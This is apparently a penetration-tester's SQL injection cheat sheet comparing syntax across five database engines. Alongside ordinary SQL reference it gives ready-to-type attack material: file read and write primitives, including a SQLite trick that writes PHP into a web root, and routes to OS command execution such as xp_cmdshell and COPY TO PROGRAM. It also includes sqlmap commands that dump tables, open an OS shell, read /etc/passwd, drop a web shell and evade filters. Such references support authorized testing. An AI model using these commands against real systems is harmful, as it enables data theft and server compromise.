Quick lookup for “I know I’m on Oracle, how do I do X?”. For workflow and explanations see the per-technique pages.
SELECT @@ version -- MySQL, MSSQL
SELECT version () -- PostgreSQL, MySQL
SELECT banner FROM v$ version -- Oracle
SELECT sqlite_version() -- SQLite
Operation MySQL PostgreSQL MSSQL Oracle SQLite Version @@versionversion()@@version(SELECT banner FROM v$version)sqlite_version()Current user user() / current_user()current_userSYSTEM_USER / USER_NAME()USERn/a Current DB database()current_database()DB_NAME()n/a (uses schemas) n/a Hostname @@hostnameinet_server_addr()@@SERVERNAMESYS_CONTEXT('USERENV','HOST')n/a String concat CONCAT(a,b)a || ba + ba || ba || bSubstring SUBSTRING(s,p,l)SUBSTR(s,p,l)SUBSTRING(s,p,l)SUBSTR(s,p,l)SUBSTR(s,p,l)String length LENGTH(s)LENGTH(s)LEN(s)LENGTH(s)LENGTH(s)Char from code CHAR(N)CHR(N)CHAR(N)CHR(N)CHAR(N)ASCII of char ASCII(c)ASCII(c)ASCII(c)ASCII(c)UNICODE(c)String → hex HEX(s)encode(s,'hex')master.dbo.fn_varbintohexstr(s)RAWTOHEX(s)hex(s)Hex → string UNHEX(h)decode(h,'hex')n/a UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW(h))n/a Conditional IF(c,t,f)CASE WHEN c THEN t ELSE f ENDIIF(c,t,f) or CASECASE WHEN c THEN t ELSE f ENDCASE WHEN c THEN t ELSE f ENDSleep SLEEP(n)pg_sleep(n)WAITFOR DELAY '0:0:n'dbms_pipe.receive_message(('a'),n)(no native)
DBMS Line Block MySQL -- (with space) or #/* ... */, /*! ... */ versionedPostgreSQL -- /* ... */MSSQL -- /* ... */Oracle -- /* ... */SQLite -- /* ... */
URL-safe form: -- - (trailing dash so the comment doesn’t break on space stripping).
DBMS Get rows N to M MySQL / PostgreSQL / SQLite LIMIT M OFFSET NMSSQL (2012+) OFFSET N ROWS FETCH NEXT M ROWS ONLYMSSQL (older) SELECT TOP M * FROM t WHERE id NOT IN (SELECT TOP N id FROM t)Oracle WHERE ROWNUM <= M AND ROWNUM > N (or row_number() window)
Operation MySQL PostgreSQL MSSQL Oracle List databases SELECT schema_name FROM information_schema.schemataSELECT datname FROM pg_databaseSELECT name FROM sys.databasesn/a (use schemas) List tables SELECT table_name FROM information_schema.tables WHERE table_schema=database()SELECT tablename FROM pg_tables WHERE schemaname='public'SELECT name FROM sysobjects WHERE xtype='U'SELECT table_name FROM all_tablesList columns SELECT column_name FROM information_schema.columns WHERE table_name='<T>'same as MySQL same as MySQL SELECT column_name FROM all_tab_columns WHERE table_name='<T>'
See Enumeration for the full workflow.
DBMS Stacked queries via SQLi MySQL Usually not (most drivers disable it) - exception: mysqli_multi_query PostgreSQL Yes MSSQL Yes Oracle No (single statement) SQLite Depends on driver
Caution
When stacked queries don’t work, you cannot run INSERT, UPDATE, DELETE, or DDL via injection - only SELECT-equivalent primitives.
DBMS Read Write Write requires MySQL LOAD_FILE('/path')SELECT ... INTO OUTFILE '/path'FILE privilege + secure_file_priv permits pathPostgreSQL pg_read_file('/path', 0, N)COPY (SELECT '...') TO '/path'superuser MSSQL OPENROWSET(BULK '/path', SINGLE_CLOB)via xp_cmdshell sysadmin Oracle UTL_FILE.GET_LINE(...)UTL_FILE.PUT_LINE(...)DBA + directory object SQLite n/a ATTACH DATABASE 'path/x.php' AS x; CREATE TABLE x.t (c TEXT); INSERT INTO x.t VALUES ('<?php ... ?>')filesystem write to web root
See File operations for full workflow including web shell drops.
DBMS Path Privilege required MySQL UDF abuse via lib_mysqludf_sys (rare modern systems) FILE privilege + writable plugin dirPostgreSQL COPY ... TO PROGRAM 'cmd'superuser PostgreSQL CREATE EXTENSION + dynamic librarysuperuser MSSQL EXEC xp_cmdshell 'cmd'sysadmin (must enable first) MSSQL sp_OACreate + WSHsysadmin Oracle Java stored procedures DBA Oracle DBMS_SCHEDULER to run OS commandsDBA + appropriate roles SQLite n/a (no built-in command execution) -
sqlmap -u " https://<TARGET>/p?id=1 " --batch --dump
# Specific DBMS, specific technique, specific table
sqlmap -u " https://<TARGET>/p?id=1 " --dbms=mysql --technique=BEUSTQ --dump -T users
# From saved Burp request
sqlmap -r request.txt --batch --dbs
sqlmap -u " https://<TARGET>/p?id=1 " --cookie= " session=xyz " --dump
sqlmap -u " https://<TARGET>/api/x " --data= ' {"id":"1*"} ' --headers= " Content-Type: application/json "
# Mark injection point manually
sqlmap -u " https://<TARGET>/p?id=1*&other=2 " # asterisk = injection point
# OS shell when DB user is privileged
sqlmap -u " https://<TARGET>/p?id=1 " --os-shell
sqlmap -u " https://<TARGET>/p?id=1 " --file-read=/etc/passwd
sqlmap -u " https://<TARGET>/p?id=1 " --file-write=local.php --file-dest=/var/www/html/x.php
sqlmap -u " https://<TARGET>/p?id=1 " --tamper=between,randomcase,space2comment
# Verbose, show all requests
sqlmap -u " https://<TARGET>/p?id=1 " -v 3
--technique letters:
B - boolean blind
E - error-based
U - UNION-based
S - stacked queries
T - time-based blind
Q - inline query
DBMS Default port MySQL / MariaDB 3306 PostgreSQL 5432 MSSQL 1433 Oracle 1521 MongoDB 27017 Redis 6379 Cassandra 9042
Useful when you have direct DB access (not via injection) - different reference, but worth keeping nearby.
This page is a quick lookup, not a tutorial. The technique pages explain why ; this page is what to type .